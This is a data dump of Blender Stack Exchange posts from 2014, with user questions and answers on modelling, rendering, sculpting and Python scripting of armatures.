  <row Id="14861" PostTypeId="2" ParentId="14860" CreationDate="2014-08-09T16:28:37.810" Score="2" Body="&lt;p&gt;Add loop cuts to the larger parts of the wall &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt;, so that the size in between the loops is about the same as the thickness of your wall. Then subdivide, if the base mesh has about the same size topology, then subdividing will yield same size topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wamRrm.png&quot; alt=&quot;loop cuts&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="3127" LastEditDate="2014-08-09T16:59:48.747" LastActivityDate="2014-08-09T16:59:48.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14862" PostTypeId="2" ParentId="14860" CreationDate="2014-08-09T16:30:28.223" Score="2" Body="&lt;p&gt;You either need to have square faces before subdivision or use something such as the &lt;strong&gt;re-mesh modifier&lt;/strong&gt;. I should note that the re mesh modifier will only work well on simple meshes such as the one you're working with. I would experiment with the Blocks mode as well as sharp, being aware the the Blocks mode will mess with the shape of your mesh.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-09T16:30:28.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14863" PostTypeId="1" CreationDate="2014-08-09T16:44:58.660" Score="0" ViewCount="177" Body="&lt;p&gt;I decided to practice a bit with blender and I was trying to create a head following this tutorial on net:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=pO58JyGh7SM&quot; rel=&quot;nofollow&quot;&gt;Creating a Realistic Head in Blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is speed up so its hard to sometimes figure out what is going on.&#xA;I am now on retopologizing section, however I noticed that when author of the tutorial shows just retopologized part (not yet finished just to check it out) you can see it smoothly with crevasses and such things, it looks as if he somehow mapped surface/geometry of the high poly model he made before to that retopologized model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how did he do it and how could i do it? My retopologized model just looks like bunch of flat faces. I study art at college and I wanted to go deeper into 3D modelling, our lessons on this subject were rather scarce unfortunately.&lt;/p&gt;&#xA;" OwnerUserId="5539" LastEditorUserId="2217" LastEditDate="2015-11-22T23:40:33.677" LastActivityDate="2015-11-22T23:40:33.677" Title="How to map surface in retopologizing" Tags="&lt;topology&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-08-11T02:24:49.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="14864" PostTypeId="2" ParentId="14863" CreationDate="2014-08-09T16:55:18.340" Score="2" Body="&lt;p&gt;What He does is add a sub surf modifier(&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;2&lt;/kbd&gt;), as well as enable smooth shading &lt;kbd&gt;Tab&lt;/kbd&gt; to enter edit mode, &lt;kbd&gt;A&lt;/kbd&gt; to select every thing, &lt;kbd&gt;W&lt;/kbd&gt;&gt;&lt;em&gt;Shade Smooth&lt;/em&gt;, and &lt;kbd&gt;Tab&lt;/kbd&gt; to exit edit mode.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="2217" LastEditDate="2014-08-09T17:46:32.730" LastActivityDate="2014-08-09T17:46:32.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14866" PostTypeId="1" CreationDate="2014-08-09T18:22:09.487" Score="1" ViewCount="983" Body="&lt;p&gt;What is it that makes some cycles materials not display in the &lt;em&gt;Textured&lt;/em&gt; view? By displaying, I mean showing with the textures, not like in the &lt;em&gt;solid&lt;/em&gt; view.&lt;br&gt;&#xA;I have tried un-connecting the &lt;em&gt;glossy&lt;/em&gt; nodes, but that makes no difference. I have checked that the &lt;em&gt;Maximum draw type&lt;/em&gt; is set to &lt;em&gt;Textured&lt;/em&gt;.&lt;br&gt;&#xA;The bottom image is one of my problem materials, that is not displaying in the textured view. The top image is just to show that some of the materials in the same scene are displaying in textured view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;nodes that are displaying in textured view&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/va9nR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/va9nR.png&quot; alt=&quot;displaying&quot;&gt;&lt;/a&gt;&#xA;nodes that are not displaying in textured view&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tcYYr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tcYYr.png&quot; alt=&quot;not displaying&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-11-11T01:13:29.963" Title="What is it that makes some cycles materials not display in the &quot;Textured&quot; view?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14867" PostTypeId="2" ParentId="14866" CreationDate="2014-08-09T18:37:08.703" Score="3" Body="&lt;p&gt;Textured view will only display the texture if the texture is an image node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noise is a procedural texture and will not be displayed. You need to change to 'Rendered' view to see procedural textures in the viewport. &lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-08-09T18:37:08.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14868" PostTypeId="1" CreationDate="2014-08-09T18:43:27.443" Score="8" ViewCount="7794" Body="&lt;p&gt;I seem to have screwed up something that allows you to inset evenly, I think I have tried every combination of settings in inset and pivot center and even is far from even.  I tried uninstalling and re installing blender 2.71 and get the same result.  The image attached is a simple default cube that I tried to inset evenly.  I have also attached the blend file link  help??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jH6iw.png&quot; alt=&quot;inset uneven&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/n88qbsmko5l1fbk/inset_not_even.blend&quot; rel=&quot;noreferrer&quot;&gt;Blend file here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5543" LastEditorUserId="241" LastEditDate="2014-08-09T18:49:18.563" LastActivityDate="2014-08-09T18:52:59.117" Title="Inset in Blender not coming out even" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2020-08-09T17:53:58.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="14869" PostTypeId="2" ParentId="14868" CreationDate="2014-08-09T18:52:59.117" Score="10" Body="&lt;p&gt;Your &lt;strong&gt;insets are distorted based on object scale&lt;/strong&gt;. To fix this, you will need to apply your object's scale(&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Scale&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-09T18:52:59.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14870" PostTypeId="1" CreationDate="2014-08-09T18:57:26.123" Score="1" ViewCount="72" Body="&lt;p&gt;I'm new to Blender and last night I was working on a simple animation of cubes falling onto a plane. I saved the blender file and today when I opened it up and tried to render it, it refused to work. If I start a new project and render it, it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made sure that I have lighting, and I've messed with the output settings, but I can't get it to render. I was able to render the entire animation earlier today, but I closed out of Blender and when I reopened it, it renders blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks when I change to render view in the viewport.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/87hqw.png&quot; alt=&quot;Render view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then this is what the final rendering looks like. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/aIbS4.png&quot; alt=&quot;Final rendering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;https://mega.co.nz/#!CYNWySqZ!mh5zXpxRrgSaEnEbM6nnLy3IFNjq6pPOvQpBxSm1oaw&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5544" LastEditorUserId="5544" LastEditDate="2014-08-09T20:28:27.680" LastActivityDate="2014-08-09T20:28:27.680" Title="Final render is blank" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-08-10T07:02:40.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="14871" PostTypeId="1" AcceptedAnswerId="14876" CreationDate="2014-08-09T20:06:07.680" Score="2" ViewCount="458" Body="&lt;p&gt;I created some sort a object and can't render the water flowing over it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xz5pW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/48sqV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not render restriction because I've already tried pressing &lt;kbd&gt;W&lt;/kbd&gt; and removing it.&lt;/p&gt;&#xA;" OwnerUserId="5545" LastEditorUserId="599" LastEditDate="2014-08-09T20:46:06.847" LastActivityDate="2014-08-10T02:16:24.080" Title="Blender not rendering water in F12 render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14874" PostTypeId="1" AcceptedAnswerId="14875" CreationDate="2014-08-10T00:49:56.640" Score="0" ViewCount="829" Body="&lt;p&gt;I'm having some problems with orthographic view which I don't know how to solve. Regardless of what mode I'm in (object or edit), I can see through my meshes as if x-ray was on. Rotating my view also causes strange artifacts on my meshes, like in the picture below, and they sometimes disappear entirely until I rotate the view again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes it very hard to work with my meshes in orthographic view, and perspective view does not always satisfy my needs. Is there a way to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tEPkd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1813" LastEditorUserId="2217" LastEditDate="2014-08-10T15:14:51.807" LastActivityDate="2014-08-10T15:14:51.807" Title="Orthographic view graphical artifacts" Tags="&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ClosedDate="2014-08-10T06:04:31.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="14875" PostTypeId="2" ParentId="14874" CreationDate="2014-08-10T01:09:19.693" Score="1" Body="&lt;p&gt;Thanks to gandalf3, I found out it was my clipping distance settings for the viewport. The ending distance was set too high. I've set it to 5000 and it's perfect now.&lt;/p&gt;&#xA;" OwnerUserId="1813" LastActivityDate="2014-08-10T01:09:19.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14876" PostTypeId="2" ParentId="14871" CreationDate="2014-08-10T02:10:12.150" Score="2" Body="&lt;p&gt;Hitting &lt;kbd&gt;Numberpad /&lt;/kbd&gt; Seems to fix the issue, you were in &lt;em&gt;local view&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;I have no idea why that would cause an issue, and would definitly upvote an answer detailing why!&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-08-10T02:16:24.080" LastActivityDate="2014-08-10T02:16:24.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14879" PostTypeId="1" CreationDate="2014-08-10T07:23:04.043" Score="3" ViewCount="381" Body="&lt;p&gt;Several computer science students in developing countries, who only have access to old PCs with non-SSE2 CPUs (mostly AthlonXP processors with SSE1), would like to know the version number of the last Blender before this great application began to be compiled to take advantage of SSE2. The machines use the Ubuntu based Linux Mint version of the Linux operating system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody could advise the best and most stable edition that can run on such machine I would be sincerely grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="5549" LastActivityDate="2014-08-11T07:47:26.187" Title="Blender version(s) useable on Linux PCs with CPUs without SSE2?" Tags="&lt;versions&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14880" PostTypeId="1" CreationDate="2014-08-10T10:53:22.760" Score="2" ViewCount="306" Body="&lt;p&gt;It's often useful to snap the pivot of one object to the pivot of another. The snap options for snap target are volume, face, vertex etc but no pivot. For the object being snapped centre is available, which in object mode is taken as pivot, but it will snap only to certain objects such as empties. The only way to do this is select the target, use snap pop-up menu to snap cursor to target, select the &quot;snappee&quot;, use snap menu again to snap it to cursor. Alternatively use the 'Align Objects' dialogue.&#xA;It works but it's tedious, particularly if lots of objects need to be snapped. Surely there's a direct 'select and snap' workflow? If there is I haven't found it.&lt;/p&gt;&#xA;" OwnerUserId="5550" LastActivityDate="2014-08-10T10:53:22.760" Title="Snap object pivot to object pivot of target?" Tags="&lt;snapping&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14882" PostTypeId="2" ParentId="14737" CreationDate="2014-08-10T13:26:15.533" Score="2" Body="&lt;p&gt;Try using latest Blender 2.71 where you can specify your own brush texture image.  The Freestyle section of the Blender 2.71 release notes will be a useful information source about textured strokes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Freestyle&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Freestyle&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two types of brush texture images: textures with and without tips.  Textures with tips need to be prepared in a specific arrangement of brush parts.  See the info graphics below which shows you what textures with tips look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blendernpr.org/freestyle-new-features-info-graphics/&quot; rel=&quot;nofollow&quot;&gt;http://blendernpr.org/freestyle-new-features-info-graphics/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally have never seen the Blender version in the screen capture of your post, although I am the main developer of Freestyle for Blender (:&lt;/p&gt;&#xA;" OwnerUserId="1561" LastActivityDate="2014-08-10T13:26:15.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14883" PostTypeId="2" ParentId="14819" CreationDate="2014-08-10T13:44:01.197" Score="0" Body="&lt;p&gt;It was a bug in the blender version used. Upgrading the version to the latest one solved it.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2014-08-10T23:32:09.940" LastActivityDate="2014-08-10T23:32:09.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14884" PostTypeId="2" ParentId="14719" CreationDate="2014-08-10T13:56:47.627" Score="3" Body="&lt;p&gt;as developer of sverchok recommend from beginning to separate UI and data - make data tree operated as combination of definitions respecting node tree. we made this mistake and now have to separate ui from data it is hard&lt;/p&gt;&#xA;" OwnerUserId="1429" LastActivityDate="2014-08-10T13:56:47.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14885" PostTypeId="1" AcceptedAnswerId="14887" CreationDate="2014-08-10T15:40:30.530" Score="7" ViewCount="8375" Body="&lt;p&gt;I am trying to improve the model shown below. As it can be  seen, the cloak of the model contains some holes. I tried to apply the Solidify modifier, but in this case the thickness of the whole model is affected (i.e. the neck of the model becomes to wide). Is there any way to fill these holes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ki71o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5555" LastEditorDisplayName="user1853" LastEditDate="2014-08-12T19:26:02.040" LastActivityDate="2014-08-14T05:21:46.137" Title="Increase thickness only on specific parts of a 3D model" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14886" PostTypeId="1" AcceptedAnswerId="14897" CreationDate="2014-08-10T16:13:12.440" Score="6" ViewCount="855" Body="&lt;p&gt;Is there a way to have a preview of the rendered image during the render process (like the one you get after you press the render button) if the render process is started from a script with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.render.render()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2014-08-12T19:45:26.970" Title="Is it possible to have a preview while scripted rendering?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14887" PostTypeId="2" ParentId="14885" CreationDate="2014-08-10T16:35:02.963" Score="12" Body="&lt;p&gt;Some modifiers have an option to affect only specific parts of a model defined by a &lt;strong&gt;Vertex Group&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow is like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Edit Mode&lt;/strong&gt; select the vertices you want to affect, create a vertex group by pressing the &lt;strong&gt;Plus Sign&lt;/strong&gt; on the right of Vertex groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click then on &lt;strong&gt;Assign&lt;/strong&gt; to make the selected vertices part of the newly created group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DvbxU.png&quot; alt=&quot;create vertex group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the modifier on a specific vertex group, select it from the list available groups:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OMSR2.png&quot; alt=&quot;select vertex group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertices that are not part of that vertex group will not be affected by the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: If what you are missing are faces on the mesh, the solidify modifier will not fill those gaps. It will only make the surfaces of existing faces thicker.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-08-14T05:21:46.137" LastActivityDate="2014-08-14T05:21:46.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14888" PostTypeId="1" CreationDate="2014-08-10T17:17:13.440" Score="3" ViewCount="6648" Body="&lt;p&gt;I'm kind of new to blender, I've been using it for about two weeks but haven't used sculpt mode much. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I decided to sculpt the head of a character, using a &lt;em&gt;multiresolution&lt;/em&gt; modifier to help get the geometry I wanted, but I can't apply the &lt;em&gt;multiresolution&lt;/em&gt; while in sculpt mode and if I leave sculpt mode my object turns back into a low-poly model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I apply the &lt;em&gt;multiresolution&lt;/em&gt; in object mode then all of my sculpting is gone for good. How in the world do I keep my sculpting work while in something like edit or object mode?&lt;/p&gt;&#xA;" OwnerUserId="5557" LastEditorUserId="599" LastEditDate="2014-08-10T19:33:15.617" LastActivityDate="2020-05-10T23:08:29.580" Title="How to apply the multiresolution modifier from sculpt mode?" Tags="&lt;modifiers&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14889" PostTypeId="1" AcceptedAnswerId="14896" CreationDate="2014-08-10T17:54:18.003" Score="8" ViewCount="7844" Body="&lt;p&gt;I want to retrieve an armature by name and access its bones. However, this doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;armature = bpy.data.objects[&quot;rig&quot;]&#xA;bones = armature.bones&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gives the error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;'Object' object has no attribute 'bones'`&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;&quot;rig&quot;&lt;/code&gt; object is found, and the armature variable holds a &lt;code&gt;bpy_struct&lt;/code&gt; after the first line executes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I access the bone data?&lt;/p&gt;&#xA;" OwnerUserId="978" LastEditorUserId="1363" LastEditDate="2014-08-10T21:22:33.077" LastActivityDate="2016-03-06T17:26:04.613" Title="How to get an armature by name in Python and get access to its bones?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14890" PostTypeId="2" ParentId="14888" CreationDate="2014-08-10T17:58:30.967" Score="9" Body="&lt;p&gt;You need to raise the &lt;strong&gt;&lt;em&gt;Preview&lt;/em&gt;&lt;/strong&gt; value to match the &lt;strong&gt;&lt;em&gt;Sculpt&lt;/em&gt;&lt;/strong&gt;, and apply the modifier in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KAWnB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2020-05-10T23:08:29.580" LastActivityDate="2020-05-10T23:08:29.580" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="14891" PostTypeId="1" CreationDate="2014-08-10T18:09:19.247" Score="3" ViewCount="1365" Body="&lt;p&gt;I am a new user and trying to determine if Blender can perform the 3D tasks I need for my projects.  I have 4 years experience with other 3D systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In creating complex models with many unique parts (2000 part transmission), can separate parts be modeled and then joined to the main part? (Housings, gears, shafts, tubes, etc.)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Where common parts are used repeatably, can those parts be modeled and saved in a Resource folder?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5558" LastEditorUserId="2217" LastEditDate="2015-12-14T00:50:01.760" LastActivityDate="2015-12-17T12:54:34.993" Title="How to model separate parts and re-use them?" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14892" PostTypeId="1" AcceptedAnswerId="14894" CreationDate="2014-08-10T18:49:19.013" Score="7" ViewCount="533" Body="&lt;p&gt;I am trying to slide a bunch of selected edges past an edge, as is done at &lt;a href=&quot;http://youtu.be/Xbc3KMIOuKM?t=19m7s&quot; rel=&quot;nofollow noreferrer&quot;&gt;19:27 of the blender guru tutorial on &quot;how to make a beer&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; to select the edge loop&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;G&lt;/kbd&gt; twice&lt;/li&gt;&#xA;&lt;li&gt;Move the mouse cursor up and down, while holding &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The edges only move down and also along the plane in which the circular loop resides (imagine for instance the top of the cylinder being the loop, and I'm trying to slide the edges to form a concavity in the cylinder)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the edges to move past the vertex loop.. Can someone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OcaMP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5559" LastEditorUserId="12" LastEditDate="2015-04-14T13:56:21.077" LastActivityDate="2015-04-14T13:56:21.077" Title="How to slide geometry past an edge?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14894" PostTypeId="2" ParentId="14892" CreationDate="2014-08-10T19:20:06.533" Score="6" Body="&lt;p&gt;With the vertices selected, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; to ensure that you are &lt;em&gt;vertex sliding&lt;/em&gt;, not &lt;em&gt;edge sliding&lt;/em&gt;. Pressing &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; automatically picks between the two operators based on the selection, and you cannot edge slide geometry past adjacent edge loops (you can with &lt;em&gt;vertex&lt;/em&gt; slide though). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are in the vertex slide operator, press &lt;kbd&gt;C&lt;/kbd&gt; to disable clamp (or hold &lt;kbd&gt;Alt&lt;/kbd&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2nLo7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that disabling clamp locks the selected vertices to the edges which they are sliding on when you press &lt;kbd&gt;C&lt;/kbd&gt; or &lt;kbd&gt;Alt&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However in this particular situation I think &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; is a faster method, as &lt;a href=&quot;https://blender.stackexchange.com/a/14893/599&quot;&gt;mentioned by G.Rassovsky&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-08-10T19:47:36.397" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14896" PostTypeId="2" ParentId="14889" CreationDate="2014-08-10T21:33:36.517" Score="17" Body="&lt;p&gt;&lt;code&gt;&quot;rig&quot;&lt;/code&gt; is an &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Object.html&quot;&gt;Object&lt;/a&gt; datablock, bone data however is part of an &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Armature.html&quot;&gt;Armature&lt;/a&gt; datablock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are looking for is &lt;code&gt;bpy.data.objects[&quot;rig&quot;].data&lt;/code&gt;, which is the armature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Active object&#xA;ob = bpy.context.object&#xA;&#xA;if ob.type == 'ARMATURE':&#xA;    armature = ob.data&#xA;&#xA;    for bone in armature.bones:&#xA;        print(bone.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An armature has two bone collections:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.bones&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.edit_bones&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;.edit_bones&lt;/code&gt; are only accessible if the armature is in &lt;em&gt;Edit Mode&lt;/em&gt;.&lt;br&gt;&#xA;See &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/info_gotcha.html#editbones-posebones-bone-bones&quot;&gt;EditBones, PoseBones, Bone... Bones&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a third kind of bone data structure for &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.PoseBone.html#bpy.types.PoseBone&quot;&gt;pose bones&lt;/a&gt;, which is referenced by the object and not the armature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;rig&quot;].pose.bones&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-10T21:33:36.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
